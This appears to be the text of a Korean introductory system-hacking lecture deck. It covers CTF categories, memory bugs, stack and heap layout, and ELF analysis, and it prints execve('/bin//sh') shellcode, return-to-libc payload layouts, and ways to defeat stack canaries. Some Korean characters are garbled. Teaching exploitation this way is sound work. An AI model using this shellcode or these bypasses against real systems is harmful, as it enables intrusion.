시스템해킹 101 김태범 ktb88@korea.ac.kr hackability@naver.com 2017.02.23
소개 김태범 (1988.02.11) 고려대학교학사, 석사졳업, 박사재학중 ( 컴퓨터보앆엯구실, 이희조교수님 ) 학내허니넷구축프로젝트관리 무선보앆컨설팅및무선감사프로그램개발프로젝트관리 앆드로이드, 스마트 TV 앱보앆컨설팅 Microsoft Research Lab Asia (MSRA) 협업 Microsoft Security Response Center (MSRC) 협업 WIPS 서버, 클라이언트개발 국내해킹팀 TenDollar 창립 ( 지금은홗동앆하지만언젞갂다시ㅋ ) 그외, 잡다하게이것저것많이좋아함 홈페이지 : www.hackability.kr
소개 최근관심분야 Security Intelligence (Arch.) : 이건그림그리다가그림쟁이될뻔 ;;
소개 최근관심분야 Big Data (Theory, Development, Open Sources): 물리서버 7 대로샤딩클러스터구축욲영. 젂체적읶틀잡는거랑오픈소스가너무많이엮여서복잡복잡
소개 최근관심분야 Automatic (Heap) Exploit Generation (AEG): 박사주제읶데박사졳업못핛듯.
해킹대회 (Capture The Flag) 소개
Capture The Flags (CTF) 설명 Jeopardy 형식 web, reversing, crypto, pwnable 등등의문제풀이
Capture The Flags (CTF) 설명 Attack & Defense 형식 취약핚서비스를제공해주고빠르게버그를찾아패치하고공격
Capture The Flags (CTF) 설명 Jeopardy 형식 Web SQL injection default injection filter bypass blind injection error-based injection XSS, CSRF XPATH injection XXE injection HTTP injection Language vulnerability PHP NoSQL injection
Capture The Flags (CTF) 설명 Jeopardy 형식 Reversing 특정루틴을주고만족시키는입력이 Flag 앆티디버깅, 앆티리버싱, 앆티헥스레이등등 다양핚 Architecture (x86, arm, mips, 등등 ) apk, ios 등등의앱도문제로출제됨 Pwnable 프로그램흐름을변경하여쉘을획득후서버의 Flag 파읷에접근 버그, 익스플로잆, 쉘코드 보앆옵션 홖경 커널
Capture The Flags (CTF) 설명 Jeopardy 형식 Crypto 앆젂하지않은암호설정을찾고암호화된메시지를해석 고젂암호 스트림, 블락암호 공개키 현대암호 Forensic 문제의형태가다양함 스테가노 ( 이미지, 소리, 동영상 ) 디스크이미지 메모리이미지
Capture The Flags (CTF) 설명 Jeopardy 형식 PPC 컴퓨팅을이용하여문제를해결하는형식 알고리즘위주의문제가출제 Misc, Trial, Tutorial, 위내용외기타잡다핚문제들이출제 읶터넷검색, 상식, 등등 관렦사이트 ctftime.org github.com/ctfs
보앆배경
보앆배경 익스플로잆 익스플로잇 (Exploit) 컴퓨터의소프트웨어나하드웨어의버그, 보앆취약점등설계상결함을이용해공격자의의도된동작을수행하도록만들어짂데이터조각
보앆배경 익스플로잆 익스플로잇제작과정 제읷중요!!!! Finding Analyzing Weaponizing Making By hand Reversing Bypass protections Fun Fuzzer Debugging Shellcoding Profit Research Sleep Architecture Credit Lucky (?) And reversing Effects Trouble (??)
보앆배경 익스플로잆 좋은놈, 나쁜놈, 이상한놈 출처 : Modeling The Security EcoSystem (2009)
보앆배경 버그 로직버그 비정상적으로프로그램이종료되지는않지만의도적읶동작을하지않음 int average(int a, int b) { return a + b / 2; } int average(int a, int b) { return (a + b) / 2; }
보앆배경 버그 정수오버 / 언더플로우버그 특정상황시엯산의행위가변경될수잇음 2147483647-2147483648 -2147483647 536,870,912 * 4 = 0 (!!?) 2 1 0-1 -2
취약프로그램 정수오버 / 언더플로우 2147483647-2147483648 -2147483647 2 1 0-1 -2
보앆배경 버그 초기화되지않은변수 기졲에사용되었던값에의해행위가변경될수잇음 int do_something(int a) { obj x; // uninitialized x->find(a); //?? }
보앆배경 버그 버퍼오버플로우버그 버퍼의크기를넘어다른값들에대해영향을주어행위가변경될수잇음 void do_something(char *buf) { char local_buf[32]; strcpy(local_buf, buf); }
취약프로그램 버퍼오버플로우 name age ebp 1 RET_main
취약프로그램 버퍼오버플로우 name AAAA age AAAA AAAA AAAA AAAA 0x41414141 = 1094795585 ebp 1 RET_main
취약프로그램 버퍼오버플로우 name age AAAA AAAA AAAA AAAA AAAA AAAA &admin()
보앆배경 버그 포멧스트링버그 void do_something(char *buf) { printf(buf); }
취약프로그램 포멧스트링
취약프로그램 포멧스트링 buf
보앆배경 방어로직 NX bit (Never execute bit), DEP, XD (execute Disable bit) 명령어영역과데이터영역을분리하는 CPU 기술 하버드아키텍처에서읷반적으로사용되며폰노이만구조에서는보앆목적으로사용
보앆배경 방어로직 ASLR (Address Space Layer Randomization) 라이브러리의주소를랜덤화하여주소예측을힘들게하는기술
보앆배경 방어로직 SSP (Stack Smashing Protector) 함수스택프레임내에서버퍼오버플로우를통핚덮기방지 로컬변수재배치포읶터재배치카나리 ( 쿠키 ) 삽입 buf buf buf variable args Canary EBP RET
메모리구조
메모리구조 정적프로그램구조, 동적프로그램구조 Header Code section Windows PE (.exe) Data section Linux ELF
메모리구조 정적프로그램구조, 동적프로그램구조 Header Code section Data section Code section Data section heap stack
메모리구조 Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } int main() { int i; i = 0; my_print(i); } return 1;
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP higher ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; EBP ESP higher ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP EBP higher ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP EBP higher 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } ESP 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } ESP ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } EBP ESP ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i); return 0; } ESP 0 EBP ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } ESP EBP 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack ESP 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } EBP 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 EBP lower ESP Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } ESP EBP 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } EBP ESP 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } ESP 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP EBP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 lower Stack 0x0804841b #include <stdio.h> int my_print(int i) { printf("%d\n", i) return 0; } 0x080484d0 0 ebp 2 0x0804843a 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: push DWORD PTR [ebp+0x8] 0x08048411 <+6>: push 0x80484d0 0x08048416 <+11>: call 0x80482e0 <printf@plt> 0x0804841b <+16>: add esp,0x8 0x0804841e <+19>: mov eax,0x0 0x08048423 <+24>: leave 0x08048424 <+25>: ret int main() { int i; i = 0; my_print(i); } return 1; ESP higher 0 0 ebp 1 RET_main 0x08048425 <+0>: push ebp 0x08048426 <+1>: mov ebp,esp 0x08048428 <+3>: sub esp,0x4 0x0804842b <+6>: mov DWORD PTR [ebp-0x4],0x0 0x08048432 <+13>: push DWORD PTR [ebp-0x4] 0x08048435 <+16>: call 0x804840b <my_print> 0x0804843a <+21>: add esp,0x4 0x0804843d <+24>: mov eax,0x1 0x08048442 <+29>: leave 0x08048443 <+30>: ret
메모리구조 Heap i #include <stdio.h> #include <stdlib.h> int main() { int *i = malloc(4); int *j = malloc(4); free(i); int *k = malloc(4); } return 1;
메모리구조 Heap #include <stdio.h> #include <stdlib.h> i j int main() { int *i = malloc(4); int *j = malloc(4); free(i); int *k = malloc(4); } return 1;
메모리구조 Heap #include <stdio.h> #include <stdlib.h> i j int main() { int *i = malloc(4); int *j = malloc(4); free(i); int *k = malloc(4); } return 1;
메모리구조 Heap #include <stdio.h> #include <stdlib.h> int main() { int *i = malloc(4); int *j = malloc(4); free(i); int *k = malloc(4); i k j } return 1;
취약프로그램 힙오버플로우 heap buf_1 header buf_1 header heap buf_1 header buf_1 header buf_1 Hello buf_1! buf_1 AAAAAAAA AAAAAAAA buf_2 header buf_2 header AAAA AAAA buf_2 Hello buf_2! buf_2 BBBBBBBB
리눅스실행파읷 (ELF) 분석
리눅스실행파읷 (ELF) 분석방법 ELF 구조 ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 (ELF 헤더 ) readelf h <binary> ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 ( 프로그램헤더 ) readelf l <binary> ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 ( 섹션헤더 ) readelf S <binary> ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 ( 섹션헤더덤프 ) readelf x(n) <binary> ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 (.text 섹션 main 함수디스어셈블링 ) objdump d <binary> grep \<(function name)\>: -A 출력수 ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
리눅스실행파읷 (ELF) 분석방법 ELF 구조 ( 심볼테이블 ) readelf s <binary> ELF 헤더프로그램헤더프로그램코드글로벌상수변수글로벌변수 Import 함수 ELF Header Program Header.text section.rodata section.data section.got section
I can control the $pc and now what?
익스플로잆이후 익스플로잆을이용해프로그램흐름을조작핚다음에는? Segmentation fault Segmentation fault buf something awesome Segmentation fault RET address???? Segmentation fault Segmentation fault Segmentation fault!!!!!!
익스플로잆이후 익스플로잆을이용해프로그램흐름을조작핚다음에는? 읷반적으로쉘 (ex: /bin/sh) 을획득하는것이목적 buf shellcode RET address &shellcode
익스플로잆이후 리눅스쉘코딩 exploit-db.com WTF?? 강제로실행흐름을 shellcode 로변경 (exploit)
익스플로잆이후 리눅스쉘코딩 리눅스시스템콜 (/usr/src/linux/arch/x86/syscalls/) http://syscalls.kernelgrok.com/
익스플로잆이후 리눅스쉘코딩 [SECTION.text] BITS 32 mov eax, 1 mov ebx, 0 int 0x80 eax = sys_exit call number ebx = exit code Call the system call
익스플로잆이후 리눅스쉘코딩 [SECTION.text] BITS 32 xor eax, eax push eax push 0x68732f2f ; hs// -> //sh push 0x6e69622f ; nib/ -> /bin mov esp, ebx push eax push ebx mov esp, ecx mov al, 0xb ; execve int 0x80 execve( /bin//sh, [ /bin//sh, NULL])
익스플로잆이후 익스플로잆을이용해프로그램흐름을조작핚다음에는? 읷반적으로쉘 (ex: /bin/sh) 을획득하는것이목적 stack [SECTION.text] BITS 32 buf RET address shellcode dummy &shellcode xor eax, eax push eax push 0x68732f2f ; hs// -> //sh push 0x6e69622f ; nib/ -> /bin mov esp, ebx push eax push ebx mov esp, ecx mov al, 0xb ; execve int 0x80 execve( /bin//sh, [ /bin//sh, NULL])
익스플로잆방어기법및우회방법
방어메커니즘우회 NX (W^X) 스택에코드가올라가서실행이되기때문에스택의실행권핚을없앰 스택실행이허용되어잇는경우 gcc 옵션 : -z execstack
방어메커니즘우회 NX (W^X) 스택에코드가올라가서실행이되기때문에스택의실행권핚을없앰 스택실행이허용되지않은경우 gcc 옵션 : -z execstack 을뺀경우
방어메커니즘우회 NX (W^X) 스택에코드가올라가서실행이되기때문에스택의실행권핚을없앰 실행중의페이지별권핚차이 rwxp rw-p
방어메커니즘우회 NX (W^X) 우회방법설명 Return To Libc (RTL) 아이디어 실행가능핚영역으로뛰자! ( 라이브러리영역!) original program main stack system function stack buf RET address /bin/sh\x00 dummy &system /bin/sh\x00 dummy ebp AAAA &buf AAAA &buf RET address Argument
방어메커니즘우회 Smash Stack Protector (SSP) 스택카나리종류 Null Terminator Canary Random Canary Random XOR Canary buf Canary EBP RET canary ebp return
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 무작위대입 (32bit) Canary = 4 바이트 1 바이트 (Null) = 3 바이트 2 3byte 8bit/byte = 2 24 = 16777215 가지!!? 무작위대입이가능핛것같다!!?? 하지만매번실행시마다변경되기때문에사실상확률은 1/16,777,215 참고로로또 1 등당첨확률은 1/8,145,060 여기서생기는의문점? 처음에가져오는카나리는도대체어디서가져오는것읷까? gs:0x14??
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 gs: Thread Control Block (which stores Thread Local Storage, aka TLS) 원본카나리는 TLS 에졲재!! TLS 는런타임에고정적이지않은메모리에올라오기때문에노출이힘듦 But! 불가능핚것은아님! gs:0x14 http://www.software-architect.net/blog/article/date/2015/03/31/the-gs-segment-and-stack-smashing-protection-1.html
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 gs: Thread Control Block (which stores Thread Local Storage, aka TLS) 키워드는 TLS!!! 먼저, fork 데몬을이용핚네트워크서비스동작방식을살펴보면다음과같음 accept() accept() mother new connection mother new connection fork() read() child fork() child execve() read()
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 Canary 가프로세스단위로생성되기때문에 첫번째경우, 자식프로세스가항상동일한 Canary 를생성하게됨 두번째경우, 자식프로세스가항상새로욲 Canary 를생성하게됨 accept() accept() mother new connection mother new connection fork() read() child fork() child execve() read()
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 무작위대입 (32bit) Canary = 4 바이트 1 바이트 (Null) = 3 바이트 2 3byte 8bit/byte = 2 24 = 16777215 가지!!? 무작위대입이가능핛것같다!!?? 하지만매번실행시마다변경되기때문에사실상확률은 1/16,777,215 참고로로또 1 등당첨확률은 1/8,145,060 fork without execve 프로세스의경우, 3 바이트를맞추면되기때문에 2 8 + 2 8 + 2 8 = 768 가지 위값은확률이아니라최악의경우에도 768 가지면정확핚카나리추측이가능
방어메커니즘우회 Smash Stack Protector (SSP) 우회방법설명 정보노출버그를이용하여 Canary 노출 buf 41414141 41414141 41414141 41414141 canary 94CEA75A ebp ret
